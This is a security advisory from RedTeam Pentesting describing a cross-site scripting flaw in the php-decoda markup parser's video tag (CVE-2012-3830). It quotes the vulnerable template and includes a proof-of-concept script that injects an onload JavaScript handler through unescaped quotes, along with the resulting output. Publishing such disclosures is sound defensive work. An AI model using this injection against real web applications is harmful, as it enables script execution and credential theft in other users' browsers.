php-decoda: Cross-Site Scripting in Video Tags

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability in the PHP markup parser Decoda. This allows attackers that should be restricted to the markup supported by Decoda to specify a JavaScript event handler for an iframe tag. Depending on the usage of Decoda, this allows attackers to execute JavaScript code in the context of other users in a web application that uses Decoda.

Details

• Product: php-decoda
• Affected Versions: 3.x
• Fixed Versions: 3.3.3
• Vulnerability Type: Cross-Site Scripting
• Security Risk: High
• Vendor URL: http://milesj.me/code/php/decoda
• Vendor Status: fixed version released
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2012-002
• Advisory Status: published
• CVE: 2012-3830
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-3830

Introduction

Decoda is a lightweight class that extracts and parses a custom markup language; based on the concept of BB code. Decoda supports all the basic HTML tags and manages special features for making links and emails auto-clickable, using shorthand emails and links, and finally allowing the user to add their own code tags.

(from Decoda’s homepage)

More Details

Decoda supports a directive for videos. For example the Decoda markup

[video="youtube" size="small"]test[/video]

creates the following corresponding HTML code (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/test" width="560" height="315"
frameborder="0"></iframe>

The code to generate the iframe tag can be found in the following file:

decoda/templates/video.php

There, the HTML tag is generated as follows:

<?php if ($player == 'embed') { ?>
        <embed src="<?php echo $url; ?>"
                type="application/x-shockwave-flash"
                allowscriptaccess="always"
                allowfullscreen="true"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"></embed>

<?php } else { ?>
        <iframe src="<?php echo $url; ?>"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"
                frameborder="0"></iframe>

<?php } ?>

The variable $url contains the user input provided in the video markup prefixed by the URL to YouTube. Since quotation signs provided by a user are not properly encoded, an attacker can use this to specify a JavaScript event handler that is executed when the resulting HTML document is loaded.

Proof of Concept

The following PHP script can be used to demonstrate this vulnerability:

<?php
include '../decoda/Decoda.php';
$code = new Decoda();
$code->addFilter(new VideoFilter()); ?>
<?php

$decoda_markup = '[video="youtube" size="small"]"';
$decoda_markup .= 'onload="alert(\'RedTeam Pentesting XSS\');" id="[/video]';

$code->reset($decoda_markup);
echo $code->parse();
?>

This results in the following output (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/" onload="alert('RedTeam
Pentesting XSS');" id="" width="560" height="315"
frameborder="0"></iframe>

Workaround

Disabling support for the video markup by not adding the corresponding filter might close this attack vector depending on the usage of Decoda.

Fix

Update to at least version 3.3.3.

Security Risk

The risk of the described vulnerability is considered to be high. It might be lower depending on the use case of Decoda in a web application. In case it is used in an web forum to allow formatting of postings, it can be used by attackers to completely manipulate the web page showing the respective posting by adding arbitrary content, tracking user interaction and potentially obtaining credentials from other users.

History

• 2012-03-26 Vulnerability identified
• 2012-04-25 Customer approved disclosure to vendor
• 2012-04-26 First attempt to contact vendor
• 2012-04-30 Vendor notified
• 2012-05-01 Vendor released fixed version
• 2012-05-02 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de.